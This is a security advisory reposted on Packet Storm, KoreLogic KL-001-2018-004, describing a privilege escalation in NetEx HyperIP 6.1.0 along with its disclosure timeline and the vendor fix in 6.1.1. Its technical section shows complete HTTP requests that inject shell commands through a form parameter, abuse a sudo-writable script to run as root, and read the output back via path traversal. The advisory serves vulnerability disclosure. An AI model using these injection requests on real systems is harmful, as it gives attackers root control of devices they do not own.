what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

NetEx HyperIP 6.1.0 Privilege Escalation

NetEx HyperIP 6.1.0 Privilege Escalation
Posted Feb 9, 2018
Authored by Matthew Bergin | Site korelogic.com

NetEx HyperIP version 6.1.0 suffers from a privilege escalation vulnerability.

tags | exploit
SHA-256 | b6b3f5ba58facfba2eb1750f336aa647a91315ae13af6f460253387be0c2135f

NetEx HyperIP 6.1.0 Privilege Escalation

Change Mirror Download
KL-001-2018-004 : NetEx HyperIP Privilege Escalation Vulnerability

Title: NetEx HyperIP Privilege Escalation Vulnerability
Advisory ID: KL-001-2018-004
Publication Date: 2018.02.08
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-004.txt


1. Vulnerability Details

Affected Vendor: NetEx
Affected Product: HyperIP
Affected Version: 6.1.0
Platform: Embedded Linux
CWE Classification: CWE-592: Authentication Bypass Issues
Impact: Privilege Escalation
Attack vector: HTTPS

2. Vulnerability Description

Privileges can be escalated by abusing writable paths found
within the sudoers configuration file.

3. Technical Description

The run script is modified with the attack payload.

POST /hypmisc.php HTTP/1.1
Host: 1.3.3.7
Accept-Language: en-US,en;q=0.5
Cookie: auth-token=b6b73844ce4df64f459948c5475a1096
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 90

set_id=msglvl&set_val=$(echo /usr/bin/id >> /var/ftp/pub/updates/a.run)&perm=on&submit=Set

HTTP/1.1 200 OK
Date: Mon, 27 Mar 2017 07:21:38 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1048
Connection: close
Content-Type: text/html; charset=UTF-8

The attack payload can now be executed.

POST /hypmisc.php HTTP/1.1
Host: 1.3.3.7
Accept-Language: en-US,en;q=0.5
Cookie: auth-token=b6b73844ce4df64f459948c5475a1096
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 91

set_id=msglvl&set_val=$(sudo /var/ftp/pub/updates/a.run >> /tmp/a.output)&perm=on&submit=Set

HTTP/1.1 200 OK
Date: Mon, 27 Mar 2017 13:06:55 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1020
Connection: close
Content-Type: text/html; charset=UTF-8

The output can now be read from the a.output file, which is a
separate arbitrary file read issue detailed in KL-001-2018-005.

GET /logs.php?system=../../tmp/a.output&submit=Show+System+Log HTTP/1.1
Host: 1.3.3.7
Accept-Language: en-US,en;q=0.5
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Date: Mon, 27 Mar 2017 13:07:51 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Length: 502
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head>
<meta HTTP-EQUIV="Expires" CONTENT="0">
<link REL="stylesheet" HREF="bdstyles.css" TYPE="text/css">
</head>
<body class="dsp">

<H1>Show System Log <font size=2>[ Monday @ 08:07:51 ]</font></H1>
<pre>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
</pre>
</body>
</html>

4. Mitigation and Remediation Recommendation

The vendor has released version 6.1.1 of HyperIP, which they state
addresses this vulnerability.

5. Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.

6. Disclosure Timeline

2017.07.24 - KoreLogic submits vulnerability details to NetEx.
2017.07.24 - NetEx confirms receipt.
2017.08.16 - NetEx informs KoreLogic that this and other reported
vulnerabilities have been addressed in the forthcoming
release. ETA as of yet undetermined.
2017.09.05 - 30 business days have elapsed since the vulnerability
was reported to NetEx.
2017.09.19 - NetEx informs KoreLogic that the forthcoming release
6.1.1 is expected to ship at the end of January 2018.
2017.09.26 - 45 business days have elapsed since the vulnerability
was reported to NetEx.
2017.12.01 - 90 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.17 - 120 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.23 - NetEx notifies KoreLogic that the HyperIP 6.1.1 release
has gone live.
2018.02.08 - KoreLogic public disclosure.

7. Proof of Concept

See 3. Technical Description.


The contents of this advisory are copyright(c) 2018
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close